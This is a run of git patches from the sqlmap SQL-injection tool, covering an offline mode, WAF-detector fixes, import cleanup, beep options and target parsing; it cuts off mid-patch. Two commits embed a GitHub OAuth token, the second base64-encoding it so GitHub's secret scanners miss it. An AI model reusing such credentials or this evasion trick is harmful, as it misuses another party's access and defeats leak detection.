-552,7 +552,7 @@ def checkSqlInjection(place, parameter, value): kb.previousMethod = method - if conf.dummy: + if conf.dummy or conf.offline: injectable = False # If the injection test was successful feed the injection @@ -1142,7 +1142,7 @@ def checkWaf(): Reference: http://seclists.org/nmap-dev/2011/q2/att-1005/http-waf-detect.nse """ - if any((conf.string, conf.notString, conf.regexp)): + if any((conf.string, conf.notString, conf.regexp, conf.dummy, conf.offline)): return None dbmMsg = "heuristically checking if the target is protected by " @@ -1290,7 +1290,7 @@ def checkNullConnection(): return kb.nullConnection is not None def checkConnection(suppressOutput=False): - if not any((conf.proxy, conf.tor, conf.dummy)): + if not any((conf.proxy, conf.tor, conf.dummy, conf.offline)): try: debugMsg = "resolving hostname '%s'" % conf.hostname logger.debug(debugMsg) @@ -1303,7 +1303,7 @@ def checkConnection(suppressOutput=False): errMsg += "resolving a host name '%s' ('%s')" % (conf.hostname, getUnicode(ex)) raise SqlmapConnectionException(errMsg) - if not suppressOutput and not conf.dummy: + if not suppressOutput and not conf.dummy and not conf.offline: infoMsg = "testing connection to the target URL" logger.info(infoMsg) diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 587db58b9..b9adbd67b 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -217,6 +217,7 @@ optDict = { "disableColoring": "boolean", "googlePage": "integer", "mobile": "boolean", + "offline": "boolean", "pageRank": "boolean", "purgeOutput": "boolean", "smart": "boolean", diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index a374b4fa5..177cb063e 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -715,6 +715,10 @@ def cmdLineParser(): action="store_true", help="Imitate smartphone through HTTP User-Agent header") + miscellaneous.add_option("--offline", dest="offline", + action="store_true", + help="Work in offline mode (only use session data)") + miscellaneous.add_option("--page-rank", dest="pageRank", action="store_true", help="Display page rank (PR) for Google dork results") diff --git a/lib/request/connect.py b/lib/request/connect.py index b3fe886f1..94d1e4576 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -212,7 +212,9 @@ class Connect(object): elif conf.cpuThrottle: cpuThrottle(conf.cpuThrottle) - if conf.dummy: + if conf.offline: + return None, None, None + elif conf.dummy: return getUnicode(randomStr(int(randomInt()), alphabet=[chr(_) for _ in xrange(256)]), {}, int(randomInt())), None, None threadData = getCurrentThreadData() diff --git a/lib/request/inject.py b/lib/request/inject.py index 0395c0a56..74d83efc9 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -450,7 +450,7 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser kb.safeCharEncode = False - if not kb.testMode and value is None and Backend.getDbms() and conf.dbmsHandler and not conf.noCast and not conf.hexConvert: + if not any((kb.testMode, conf.dummy, conf.offline)) and value is None and Backend.getDbms() and conf.dbmsHandler and not conf.noCast and not conf.hexConvert: warnMsg = "in case of continuous data retrieval problems you are advised to try " warnMsg += "a switch '--no-cast' " warnMsg += "or switch '--hex'" if Backend.getIdentifiedDbms() not in (DBMS.ACCESS, DBMS.FIREBIRD) else "" diff --git a/sqlmap.conf b/sqlmap.conf index f9f30e759..2ca8c6dd6 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -754,6 +754,10 @@ identifyWaf = False # Valid: True or False mobile = False +# Work in offline mode (only use session data) +# Valid: True or False +offline = False + # Display page rank (PR) for Google dork results. # Valid: True or False pageRank = False From fa303ef8b1505c115b543b080ac722bfcdf2d52e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 10 Jul 2015 16:39:18 +0200 Subject: [PATCH 21/88] Minor update --- lib/core/settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index b6563cc83..e27d686c5 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -484,7 +484,7 @@ DEFAULT_COOKIE_DELIMITER = ';' FORCE_COOKIE_EXPIRATION_TIME = "9999999999" # Github OAuth token used for creating an automatic Issue for unhandled exceptions -GITHUB_REPORT_OAUTH_TOKEN = "f05e68171afd41a445b1fff80f369fae88b37968" +GITHUB_REPORT_OAUTH_TOKEN = "6c16fa87190a100aceea8e71cb0c1ba8e4096c7a" # Skip unforced HashDB flush requests below the threshold number of cached items HASHDB_FLUSH_THRESHOLD = 32 From a20da7a6778809f5927dac8f1dd13f3d536157fc Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 12 Jul 2015 12:05:19 +0200 Subject: [PATCH 22/88] Patch for automatic reporting (GitHub has robots) --- lib/core/common.py | 2 +- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 91029490b..16a377ea2 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -2978,7 +2978,7 @@ def createGithubIssue(errMsg, excMsg): data = {"title": "Unhandled exception (#%s)" % key, "body": "```%s\n```\n```\n%s```" % (errMsg, excMsg)} - req = urllib2.Request(url="https://api.github.com/repos/sqlmapproject/sqlmap/issues", data=json.dumps(data), headers={"Authorization": "token %s" % GITHUB_REPORT_OAUTH_TOKEN}) + req = urllib2.Request(url="https://api.github.com/repos/sqlmapproject/sqlmap/issues", data=json.dumps(data), headers={"Authorization": "token %s" % GITHUB_REPORT_OAUTH_TOKEN.decode("base64")}) try: f = urllib2.urlopen(req) diff --git a/lib/core/settings.py b/lib/core/settings.py index e27d686c5..62da62fd2 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -484,7 +484,7 @@ DEFAULT_COOKIE_DELIMITER = ';' FORCE_COOKIE_EXPIRATION_TIME = "9999999999" # Github OAuth token used for creating an automatic Issue for unhandled exceptions -GITHUB_REPORT_OAUTH_TOKEN = "6c16fa87190a100aceea8e71cb0c1ba8e4096c7a" +GITHUB_REPORT_OAUTH_TOKEN = "YzQzM2M2YzgzMDExN2I5ZDMyYjAzNTIzODIwZDA2MDFmMmVjODI1Ng==" # Skip unforced HashDB flush requests below the threshold number of cached items HASHDB_FLUSH_THRESHOLD = 32 From 4800ea7311eee7350de7620f8afe8728e0a9b126 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 12 Jul 2015 12:17:26 +0200 Subject: [PATCH 23/88] Bug fix --- waf/edgecast.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/waf/edgecast.py b/waf/edgecast.py index c59a3db68..ec2227055 100644 --- a/waf/edgecast.py +++ b/waf/edgecast.py @@ -13,12 +13,12 @@ from lib.core.settings import WAF_ATTACK_VECTORS __product__ = "EdgeCast WAF (Verizon)" def detect(get_page): - retval = False + retVal = False for vector in WAF_ATTACK_VECTORS: page, headers, code = get_page(get=vector) retVal = code == 400 and re.search(r"\AECDF", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - if retval: + if retVal: break - return retval + return retVal From ffd949882711d5885438bb6a7d48bf242bbcf229 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 12 Jul 2015 12:24:06 +0200 Subject: [PATCH 24/88] Bug fix --- waf/sucuri.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/waf/sucuri.py b/waf/sucuri.py index 61344628e..ba25802c7 100644 --- a/waf/sucuri.py +++ b/waf/sucuri.py @@ -13,12 +13,12 @@ from lib.core.settings import WAF_ATTACK_VECTORS __product__ = "Sucuri WebSite Firewall" def detect(get_page): - retval = False + retVal = False for vector in WAF_ATTACK_VECTORS: page, headers, code = get_page(get=vector) retVal = code == 403 and re.search(r"Sucuri/Cloudproxy", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - if retval: + if retVal: break - return retval + return retVal From 16f8e4c8bafe302292251fffb2b2e22571546c6e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 12 Jul 2015 12:25:02 +0200 Subject: [PATCH 25/88] Removing unused imports --- lib/controller/checks.py | 3 --- lib/core/common.py | 6 +----- lib/core/dump.py | 2 -- lib/core/option.py | 1 - lib/core/settings.py | 1 - lib/core/shell.py | 4 ++-- lib/parse/payloads.py | 3 --- lib/request/connect.py | 1 - lib/request/httpshandler.py | 1 - lib/utils/api.py | 1 - lib/utils/crawler.py | 3 --- lib/utils/hash.py | 1 - lib/utils/sqlalchemy.py | 1 - plugins/dbms/mssqlserver/filesystem.py | 1 - sqlmap.py | 2 -- waf/360.py | 1 - waf/anquanbao.py | 1 - waf/baidu.py | 1 - waf/safedog.py | 1 - waf/senginx.py | 3 --- 20 files changed, 3 insertions(+), 35 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 4c1e14c7e..7840bf162 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -15,7 +15,6 @@ from subprocess import Popen as execute from extra.beep.beep import beep from lib.core.agent import agent -from lib.core.common import arrayizeValue from lib.core.common import Backend from lib.core.common import extractRegexResult from lib.core.common import extractTextTagContent @@ -46,7 +45,6 @@ from lib.core.datatype import AttribDict from lib.core.datatype import InjectionDict from lib.core.decorators import cachedmethod from lib.core.dicts import FROM_DUMMY_TABLE -from lib.core.enums import CUSTOM_LOGGING from lib.core.enums import DBMS from lib.core.enums import HEURISTIC_TEST from lib.core.enums import HTTP_HEADER @@ -66,7 +64,6 @@ from lib.core.settings import HEURISTIC_CHECK_ALPHABET from lib.core.settings import SUHOSIN_MAX_VALUE_LENGTH from lib.core.settings import SUPPORTED_DBMS from lib.core.settings import URI_HTTP_HEADER -from lib.core.settings import LOWER_RATIO_BOUND from lib.core.settings import UPPER_RATIO_BOUND from lib.core.settings import IDS_WAF_CHECK_PAYLOAD from lib.core.settings import IDS_WAF_CHECK_RATIO diff --git a/lib/core/common.py b/lib/core/common.py index 16a377ea2..6c5099d67 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -97,7 +97,6 @@ from lib.core.settings import DBMS_DIRECTORY_DICT from lib.core.settings import DEFAULT_COOKIE_DELIMITER from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import DEFAULT_MSSQL_SCHEMA -from lib.core.settings import DESCRIPTION from lib.core.settings import DUMMY_USER_INJECTION from lib.core.settings import DYNAMICITY_MARK_LENGTH from lib.core.settings import ERROR_PARSING_REGEXES @@ -134,9 +133,7 @@ from lib.core.settings import REFLECTED_MAX_REGEX_PARTS from lib.core.settings import REFLECTED_REPLACEMENT_REGEX from lib.core.settings import REFLECTED_VALUE_MARKER from lib.core.settings import REFLECTIVE_MISS_THRESHOLD -from lib.core.settings import REVISION from lib.core.settings import SENSITIVE_DATA_REGEX -from lib.core.settings import SITE from lib.core.settings import SUPPORTED_DBMS from lib.core.settings import TEXT_TAG_REGEX from lib.core.settings import TIME_STDEV_COEFF @@ -146,7 +143,6 @@ from lib.core.settings import URI_QUESTION_MARKER from lib.core.settings import URLENCODE_CHAR_LIMIT from lib.core.settings import URLENCODE_FAILSAFE_CHARS from lib.core.settings import USER_AGENT_ALIASES -from lib.core.settings import VERSION from lib.core.settings import VERSION_STRING from lib.core.threads import getCurrentThreadData from lib.utils.sqlalchemy import _sqlalchemy @@ -1027,7 +1023,7 @@ def checkFile(filename): if valid: try: - with open(filename, "rb") as f: + with open(filename, "rb"): pass except: valid = False diff --git a/lib/core/dump.py b/lib/core/dump.py index c6272e4d3..d3b9cc799 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -6,7 +6,6 @@ See the file 'doc/COPYING' for copying permission """ import cgi -import codecs import hashlib import os import re @@ -22,7 +21,6 @@ from lib.core.common import normalizeUnicode from lib.core.common import openFile from lib.core.common import prioritySortColumns from lib.core.common import randomInt -from lib.core.common import randomStr from lib.core.common import safeCSValue from lib.core.common import unicodeencode from lib.core.common import unsafeSQLIdentificatorNaming diff --git a/lib/core/option.py b/lib/core/option.py index 97f211e17..33345c57b 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -53,7 +53,6 @@ from lib.core.common import readInput from lib.core.common import resetCookieJar from lib.core.common import runningAsAdmin from lib.core.common import safeExpandUser -from lib.core.common import sanitizeStr from lib.core.common import setOptimize from lib.core.common import setPaths from lib.core.common import singleTimeWarnMessage diff --git a/lib/core/settings.py b/lib/core/settings.py index 62da62fd2..a356390d9 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -6,7 +6,6 @@ See the file 'doc/COPYING' for copying permission """ import os -import random import re import subprocess import string diff --git a/lib/core/shell.py b/lib/core/shell.py index d4ca035e0..1e7f35d50 100644 --- a/lib/core/shell.py +++ b/lib/core/shell.py @@ -43,7 +43,7 @@ def saveHistory(completion=None): historyPath = paths.SQLMAP_SHELL_HISTORY try: - with open(historyPath, "w+") as f: + with open(historyPath, "w+"): pass except: pass @@ -92,7 +92,7 @@ class CompleterNG(rlcompleter.Completer): matches.append(word) return matches - + def autoCompletion(completion=None, os=None, commands=None): if not readlineAvailable(): return diff --git a/lib/parse/payloads.py b/lib/parse/payloads.py index c98a7f014..a96867082 100644 --- a/lib/parse/payloads.py +++ b/lib/parse/payloads.py @@ -10,7 +10,6 @@ import os from xml.etree import ElementTree as et from lib.core.data import conf -from lib.core.data import logger from lib.core.data import paths from lib.core.datatype import AttribDict from lib.core.exception import SqlmapInstallationException @@ -89,8 +88,6 @@ def loadPayloads(): for payloadFile in payloadFiles: payloadFilePath = os.path.join(paths.SQLMAP_XML_PAYLOADS_PATH, payloadFile) - #logger.debug("Parsing payloads from file '%s'" % payloadFile) - try: doc = et.parse(payloadFilePath) except Exception, ex: diff --git a/lib/request/connect.py b/lib/request/connect.py index 94d1e4576..94ce9887e 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -822,7 +822,6 @@ class Connect(object): retVal = paramString match = re.search("%s=(?P[^&]*)" % re.escape(parameter), paramString) if match: - origValue = match.group("value") retVal = re.sub("%s=[^&]*" % re.escape(parameter), "%s=%s" % (parameter, newValue), paramString) return retVal diff --git a/lib/request/httpshandler.py b/lib/request/httpshandler.py index bbd291e15..6906f4686 100644 --- a/lib/request/httpshandler.py +++ b/lib/request/httpshandler.py @@ -7,7 +7,6 @@ See the file 'doc/COPYING' for copying permission import httplib import socket -import sys import urllib2 from lib.core.data import kb diff --git a/lib/utils/api.py b/lib/utils/api.py index 357d4d3b5..c007289b5 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -8,7 +8,6 @@ See the file 'doc/COPYING' for copying permission import logging import os -import shutil import sqlite3 import sys import tempfile diff --git a/lib/utils/crawler.py b/lib/utils/crawler.py index ffac14e13..be47608e1 100644 --- a/lib/utils/crawler.py +++ b/lib/utils/crawler.py @@ -5,7 +5,6 @@ Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ -import codecs import httplib import os import re @@ -19,13 +18,11 @@ from lib.core.common import findPageForms from lib.core.common import openFile from lib.core.common import readInput from lib.core.common import safeCSValue -from lib.core.common import singleTimeWarnMessage from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from lib.core.settings import CRAWL_EXCLUDE_EXTENSIONS -from lib.core.settings import UNICODE_ENCODING from lib.core.threads import getCurrentThreadData from lib.core.threads import runThreads from lib.parse.sitemap import parseSitemap diff --git a/lib/utils/hash.py b/lib/utils/hash.py index bc3f06f2a..123b93ee7 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -59,7 +59,6 @@ from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.enums import HASH -from lib.core.exception import SqlmapFilePathException from lib.core.exception import SqlmapUserQuitException from lib.core.settings import COMMON_PASSWORD_SUFFIXES from lib.core.settings import COMMON_USER_COLUMNS diff --git a/lib/utils/sqlalchemy.py b/lib/utils/sqlalchemy.py index 9e24bba30..1b654ef2f 100644 --- a/lib/utils/sqlalchemy.py +++ b/lib/utils/sqlalchemy.py @@ -8,7 +8,6 @@ See the file 'doc/COPYING' for copying permission import imp import logging import os -import re import sys import warnings diff --git a/plugins/dbms/mssqlserver/filesystem.py b/plugins/dbms/mssqlserver/filesystem.py index eca533d01..53e197a0d 100644 --- a/plugins/dbms/mssqlserver/filesystem.py +++ b/plugins/dbms/mssqlserver/filesystem.py @@ -343,7 +343,6 @@ class Filesystem(GenericFilesystem): logger.info(infoMsg) chunkMaxSize = 500 - dFileName = ntpath.basename(dFile) randFile = "tmpf%s.txt" % randomStr(lowercase=True) randFilePath = "%s\%s" % (tmpPath, randFile) diff --git a/sqlmap.py b/sqlmap.py index 81b3e756e..161aa6727 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -12,7 +12,6 @@ import os import re import shutil import sys -import tempfile import time import traceback import warnings @@ -28,7 +27,6 @@ from lib.core.common import createGithubIssue from lib.core.common import dataToStdout from lib.core.common import getUnicode from lib.core.common import maskSensitiveData -from lib.core.common import setColor from lib.core.common import setPaths from lib.core.common import weAreFrozen from lib.core.data import cmdLineOptions diff --git a/waf/360.py b/waf/360.py index cc8b4c615..86c251c20 100644 --- a/waf/360.py +++ b/waf/360.py @@ -7,7 +7,6 @@ See the file 'doc/COPYING' for copying permission import re -from lib.core.enums import HTTP_HEADER from lib.core.settings import WAF_ATTACK_VECTORS __product__ = "360 Web Application Firewall (360)" diff --git a/waf/anquanbao.py b/waf/anquanbao.py index 430ce942a..6842c8a35 100644 --- a/waf/anquanbao.py +++ b/waf/anquanbao.py @@ -7,7 +7,6 @@ See the file 'doc/COPYING' for copying permission import re -from lib.core.enums import HTTP_HEADER from lib.core.settings import WAF_ATTACK_VECTORS __product__ = "Anquanbao Web Application Firewall (Anquanbao)" diff --git a/waf/baidu.py b/waf/baidu.py index fc9cc9d21..7a15feadb 100644 --- a/waf/baidu.py +++ b/waf/baidu.py @@ -7,7 +7,6 @@ See the file 'doc/COPYING' for copying permission import re -from lib.core.enums import HTTP_HEADER from lib.core.settings import WAF_ATTACK_VECTORS __product__ = "Yunjiasu Web Application Firewall (Baidu)" diff --git a/waf/safedog.py b/waf/safedog.py index 63c7fdddd..31b706e18 100644 --- a/waf/safedog.py +++ b/waf/safedog.py @@ -7,7 +7,6 @@ See the file 'doc/COPYING' for copying permission import re -from lib.core.enums import HTTP_HEADER from lib.core.settings import WAF_ATTACK_VECTORS __product__ = "Safedog Web Application Firewall (Safedog)" diff --git a/waf/senginx.py b/waf/senginx.py index a4bdb1bf2..15a4223f2 100644 --- a/waf/senginx.py +++ b/waf/senginx.py @@ -5,9 +5,6 @@ Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ -import re - -from lib.core.enums import HTTP_HEADER from lib.core.settings import WAF_ATTACK_VECTORS __product__ = "SEnginx (Neusoft Corporation)" From fdc8e664dff305aca19acf143c7767b9a7626881 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 13 Jul 2015 23:55:46 +0200 Subject: [PATCH 26/88] Updating --beep functionality (ML request) --- lib/core/common.py | 5 +++++ lib/parse/cmdline.py | 2 +- sqlmap.conf | 2 +- 3 files changed, 7 insertions(+), 2 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 6c5099d67..ca63be94e 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -43,6 +43,7 @@ from xml.dom import minidom from xml.sax import parse from xml.sax import SAXParseException +from extra.beep.beep import beep from extra.cloak.cloak import decloak from extra.safe2bin.safe2bin import safecharencode from lib.core.bigarray import BigArray @@ -931,6 +932,10 @@ def readInput(message, default=None, checkBatch=True): retVal = default else: logging._acquireLock() + + if conf.get("beep"): + beep() + dataToStdout("\r%s" % message, forceOutput=True, bold=True) kb.prependFlag = False diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 177cb063e..23add4a9d 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -689,7 +689,7 @@ def cmdLineParser(): help="Set question answers (e.g. \"quit=N,follow=N\")") miscellaneous.add_option("--beep", dest="beep", action="store_true", - help="Make a beep sound when SQL injection is found") + help="Beep on question and/or when SQL injection is found") miscellaneous.add_option("--cleanup", dest="cleanup", action="store_true", diff --git a/sqlmap.conf b/sqlmap.conf index 2ca8c6dd6..d7db6c376 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -721,7 +721,7 @@ alert = # Set question answers (e.g. "quit=N,follow=N"). answers = -# Make a beep sound when SQL injection is found. +# Beep on question and/or when SQL injection is found. # Valid: True or False beep = False From 1aafe85a3aa9a669eb2c0eeffd8df1048f9907b1 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 15 Jul 2015 11:15:06 +0200 Subject: [PATCH 27/88] Fixes #1299 --- lib/core/common.py | 6 +++--- plugins/generic/filesystem.py | 2 +- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index ca63be94e..8708f47c5 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -872,7 +872,7 @@ def dataToOutFile(filename, data): retVal = os.path.join(conf.filePath, filePathToSafeString(filename)) try: - with openFile(retVal, "wb") as f: + with open(retVal, "w+b") as f: f.write(data) except IOError, ex: errMsg = "something went wrong while trying to write " @@ -3714,7 +3714,7 @@ def applyFunctionRecursively(value, function): return retVal -def decodeHexValue(value): +def decodeHexValue(value, raw=False): """ Returns value decoded from DBMS specific hexadecimal representation @@ -3729,7 +3729,7 @@ def decodeHexValue(value): if value and isinstance(value, basestring) and len(value) % 2 == 0: retVal = hexdecode(retVal) - if not kb.binaryField: + if not kb.binaryField and not raw: if Backend.isDbms(DBMS.MSSQL) and value.startswith("0x"): try: retVal = retVal.decode("utf-16-le") diff --git a/plugins/generic/filesystem.py b/plugins/generic/filesystem.py index b069eabfe..0ff2a4a2c 100644 --- a/plugins/generic/filesystem.py +++ b/plugins/generic/filesystem.py @@ -232,7 +232,7 @@ class Filesystem: fileContent = newFileContent if fileContent is not None: - fileContent = decodeHexValue(fileContent) + fileContent = decodeHexValue(fileContent, True) if fileContent: localFilePath = dataToOutFile(remoteFile, fileContent) From 49212ec920595e4e242ed81d3476fe72e4dcb8ca Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 17 Jul 2015 09:56:24 +0200 Subject: [PATCH 28/88] Fixes #1302 --- lib/core/common.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/common.py b/lib/core/common.py index 8708f47c5..8f6ca2954 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -2281,7 +2281,7 @@ def findMultipartPostBoundary(post): candidates = [] for match in re.finditer(r"(?m)^--(.+?)(--)?$", post or ""): - _ = match.group(1) + _ = match.group(1).strip().strip('-') if _ in done: continue else: From 00f190fc925510a2218128534700575fcaf57c1c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 17 Jul 2015 10:14:35 +0200 Subject: [PATCH 29/88] Fixes #1303 --- lib/controller/controller.py | 3 ++ lib/core/option.py | 1 + lib/core/target.py | 80 +++++++++++++++--------------------- 3 files changed, 37 insertions(+), 47 deletions(-) diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 90043a5b0..52f2c8c28 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -430,6 +430,9 @@ def start(): if skip: continue + if kb.testOnlyCustom and place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER): + continue + if place not in conf.paramDict: continue diff --git a/lib/core/option.py b/lib/core/option.py index 33345c57b..75885f878 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1864,6 +1864,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.technique = None kb.tempDir = None kb.testMode = False + kb.testOnlyCustom = False kb.testQueryCount = 0 kb.testType = None kb.threadContinue = True diff --git a/lib/core/target.py b/lib/core/target.py index 0fb70769c..442a8cd7a 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -80,7 +80,6 @@ def _setRequestParams(): return testableParameters = False - skipHeaders = False # Perform checks on GET parameters if conf.parameters.get(PLACE.GET): @@ -125,16 +124,7 @@ def _setRequestParams(): kb.processUserMarks = not test or test[0] not in ("n", "N") if kb.processUserMarks: - skipHeaders = True - - conf.parameters.clear() - conf.paramDict.clear() - - if "=%s" % CUSTOM_INJECTION_MARK_CHAR in conf.data: - warnMsg = "it seems that you've provided empty parameter value(s) " - warnMsg += "for testing. Please, always use only valid parameter values " - warnMsg += "so sqlmap could be able to run properly" - logger.warn(warnMsg) + kb.testOnlyCustom = True if not (kb.processUserMarks and CUSTOM_INJECTION_MARK_CHAR in conf.data): if re.search(JSON_RECOGNITION_REGEX, conf.data): @@ -249,10 +239,7 @@ def _setRequestParams(): kb.processUserMarks = not test or test[0] not in ("n", "N") if kb.processUserMarks: - skipHeaders = True - - conf.parameters.clear() - conf.paramDict.clear() + kb.testOnlyCustom = True if "=%s" % CUSTOM_INJECTION_MARK_CHAR in _: warnMsg = "it seems that you've provided empty parameter value(s) " @@ -317,50 +304,49 @@ def _setRequestParams(): if conf.get(item): conf[item] = conf[item].replace(CUSTOM_INJECTION_MARK_CHAR, "") - if not skipHeaders: - # Perform checks on Cookie parameters - if conf.cookie: - conf.parameters[PLACE.COOKIE] = conf.cookie - paramDict = paramToDict(PLACE.COOKIE, conf.cookie) + # Perform checks on Cookie parameters + if conf.cookie: + conf.parameters[PLACE.COOKIE] = conf.cookie + paramDict = paramToDict(PLACE.COOKIE, conf.cookie) - if paramDict: - conf.paramDict[PLACE.COOKIE] = paramDict - testableParameters = True + if paramDict: + conf.paramDict[PLACE.COOKIE] = paramDict + testableParameters = True - # Perform checks on header values - if conf.httpHeaders: - for httpHeader, headerValue in conf.httpHeaders: - # Url encoding of the header values should be avoided - # Reference: http://stackoverflow.com/questions/5085904/is-ok-to-urlencode-the-value-in-headerlocation-value + # Perform checks on header values + if conf.httpHeaders: + for httpHeader, headerValue in conf.httpHeaders: + # Url encoding of the header values should be avoided + # Reference: http://stackoverflow.com/questions/5085904/is-ok-to-urlencode-the-value-in-headerlocation-value - httpHeader = httpHeader.title() + httpHeader = httpHeader.title() - if httpHeader == HTTP_HEADER.USER_AGENT: - conf.parameters[PLACE.USER_AGENT] = urldecode(headerValue) + if httpHeader == HTTP_HEADER.USER_AGENT: + conf.parameters[PLACE.USER_AGENT] = urldecode(headerValue) - condition = any((not conf.testParameter, intersect(conf.testParameter, USER_AGENT_ALIASES))) + condition = any((not conf.testParameter, intersect(conf.testParameter, USER_AGENT_ALIASES))) - if condition: - conf.paramDict[PLACE.USER_AGENT] = {PLACE.USER_AGENT: headerValue} - testableParameters = True + if condition: + conf.paramDict[PLACE.USER_AGENT] = {PLACE.USER_AGENT: headerValue} + testableParameters = True - elif httpHeader == HTTP_HEADER.REFERER: - conf.parameters[PLACE.REFERER] = urldecode(headerValue) + elif httpHeader == HTTP_HEADER.REFERER: + conf.parameters[PLACE.REFERER] = urldecode(headerValue) - condition = any((not conf.testParameter, intersect(conf.testParameter, REFERER_ALIASES))) + condition = any((not conf.testParameter, intersect(conf.testParameter, REFERER_ALIASES))) - if condition: - conf.paramDict[PLACE.REFERER] = {PLACE.REFERER: headerValue} - testableParameters = True + if condition: + conf.paramDict[PLACE.REFERER] = {PLACE.REFERER: headerValue} + testableParameters = True - elif httpHeader == HTTP_HEADER.HOST: - conf.parameters[PLACE.HOST] = urldecode(headerValue) + elif httpHeader == HTTP_HEADER.HOST: + conf.parameters[PLACE.HOST] = urldecode(headerValue) - condition = any((not conf.testParameter, intersect(conf.testParameter, HOST_ALIASES))) + condition = any((not conf.testParameter, intersect(conf.testParameter, HOST_ALIASES))) - if condition: - conf.paramDict[PLACE.HOST] = {PLACE.HOST: headerValue} - testableParameters = True + if condition: + conf.paramDict[PLACE.HOST] = {PLACE.HOST: headerValue} + testableParameters = True if not conf.parameters: errMsg = "you did not provide any GET, POST and Cookie " From a7c4400cc9516e28de9492b5ada482339158d28a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 17 Jul 2015 14:20:51 +0200 Subject: [PATCH 30/88] Fixes #1304 --- lib/core/dicts.py | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/lib/core/dicts.py b/lib/core/dicts.py index 0fa0f4685..b6a0ea2ba 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -105,13 +105,22 @@ PGSQL_PRIVS = { 3: "catupd", } +# Reference(s): http://stackoverflow.com/a/17672504 +# http://docwiki.embarcadero.com/InterBase/XE7/en/RDB$USER_PRIVILEGES + FIREBIRD_PRIVS = { "S": "SELECT", "I": "INSERT", "U": "UPDATE", "D": "DELETE", - "R": "REFERENCES", + "R": "REFERENCE", "E": "EXECUTE", + "X": "EXECUTE", + "A": "ALL", + "M": "MEMBER", + "T": "DECRYPT", + "E": "ENCRYPT", + "B": "SUBSCRIBE", } DB2_PRIVS = { From 21e8182ac67af54968753dc82175eaca50e3261e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 18 Jul 2015 17:01:34 +0200 Subject: [PATCH 31/88] Fixes #1305 --- lib/controller/checks.py | 9 +-- lib/controller/controller.py | 66 +++++++++++---------- lib/request/connect.py | 29 +++++----- lib/request/inject.py | 12 ++-- lib/techniques/union/test.py | 109 ++++++++++++++++++----------------- plugins/generic/databases.py | 43 +++++++------- 6 files changed, 138 insertions(+), 130 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 7840bf162..39c472e73 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -1249,10 +1249,10 @@ def checkNullConnection(): infoMsg = "testing NULL connection to the target URL" logger.info(infoMsg) - pushValue(kb.pageCompress) - kb.pageCompress = False - try: + 